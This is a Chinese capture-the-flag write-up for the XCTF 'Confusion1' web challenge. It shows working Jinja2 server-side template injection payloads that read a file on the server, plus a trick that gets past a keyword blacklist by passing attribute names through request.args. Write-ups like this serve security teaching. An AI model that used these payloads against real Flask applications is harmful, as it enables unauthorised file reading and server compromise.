1. 程式人生 > 實用技巧 >攻防世界-web-Confusion1(python模板注入SSTI、沙箱逃逸)

攻防世界-web-Confusion1(python模板注入SSTI、沙箱逃逸)

題目來源:XCTF 4th-QCTF-2018
題目描述:某天,Bob說:PHP是最好的語言,但是Alice不贊同。所以Alice編寫了這個網站證明。在她還沒有寫完的時候,我發現其存在問題。(請不要使用掃描器)

進入介面

首頁是一張圖片,蛇纏住了大象,猜測此係統使用了php+python,並且是Python程式碼問題(php的標誌是大象,Python的標誌是蛇)。

進入登入和註冊頁面均報404,不過在原始碼錯誤資訊中提示了flag的位置。

然後就沒有其他資訊了。

猜測本題存在Python SSTI漏洞,驗證一下,在url後面新增{{1+1}},回車顯示如下

介面返回2,我們輸入的1+1被執行了,說明伺服器執行了{{}}裡面這一段程式碼,存在SSTI漏洞。

猜測這裡使用的應該是Python 的 Flask 框架( Flask 使用 Jinja2 作為模板引擎 ) 。

所以本題的思路就是,利用SSTI讀取flag檔案。

嘗試使用經典payload直接讀取flag

''.__class__.__mro__[2].__subclasses__()[40]('/opt/flag_1de36dff62a3a54ecfbc6e1fd2ef0ad1.txt').read()

報錯

說明系統進行了過濾。

經過嘗試,發現系統過濾了class、 subclasses、 read等關鍵方法。

但是並未過濾request。

request 是 Flask 框架的一個全域性物件 , 表示 " 當前請求的物件( flask.request ) " 。

所以我們可以利用request.args繞過輸入黑名單,進行沙箱逃逸。

沙箱逃逸,就是在給我們的一個程式碼執行環境下(Oj或使用socat生成的互動式終端),脫離種種過濾和限制,最終成功拿到shell許可權的過程。其實就是闖過重重黑名單,最終拿到系統命令執行許可權的過程。

payload如下

{{''[request.args.a][request.args.b][2][request.args.c]()[40]('/opt/flag_1de36dff62a3a54ecfbc6e1fd2ef0ad1.txt')[request.args.d]()}}?a=__class__&b=__mro__&c=__subclasses__&d=read

得到flag

SSTI學習:https://www.guildhab.top/?p=1248

參考:https://blog.csdn.net/qq_41954384/article/details/103830832